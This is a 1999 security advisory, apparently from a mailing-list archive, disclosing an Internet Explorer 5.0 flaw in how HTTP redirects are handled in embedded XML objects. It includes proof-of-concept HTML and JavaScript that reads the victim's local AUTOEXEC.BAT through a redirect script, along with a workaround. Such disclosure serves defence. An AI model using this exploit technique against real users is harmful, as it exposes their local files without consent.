Disclaimer: The opinions expressed in this advisory and program are my own and not of any company. The usual standard disclaimer applies, especially the fact that Georgi Guninski is not liable for any damages caused by direct or indirect use of the information or functionality provided by this program. Georgi Guninski, bears NO responsibility for content or misuse of this program or any derivatives thereof. Description: Internet Explorer 5.0 under Windows 95 and WinNT 4.0 (guess other versions are affected) has security problems with HTTP redirects in XML objects. This allows at least: 1) Reading any (local or nonlocal) XML file and any wellformed documents. With the growing influence of XML I consider this a serious problem. 2) Reading parts of documents 3) Checking for the existence of local files. I suppose reading of arbitrary files (not just XML) is also possible, but do not have the time to explore. Details: When one embeds a XML document in a HTML document IE 5.0 does not handle properly HTTP redirects and allows access to the DOM of the embeded XML document. The code is: ---------------------------------------------------------------------------------------- <object id="xm" type="text/xml" data="http://www.nat.bg/~joro/reject.cgi?autoexec" width=400 height=200> </object> <SCRIPT> function f() { s=xm.body.innerHTML; a=window.open(); //alert(s); a.document.open(); a.document.write("Here is a part of AUTOEXEC.BAT (the error message is normal):<BR>"+s); a.document.close(); } setTimeout("f()",5000); </SCRIPT> ---------------------------------------------------------------------------------------- Workaround: Disable Active Scripting or Disable Script ActiveX Controls marked Safe for Scripting Demonstration is available at http://www.nat.bg/~joro/xmln.html Copyright 1999 Georgi Guninski Regards, Georgi Guninski http://www.nat.bg/~joro
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:13:39 PDT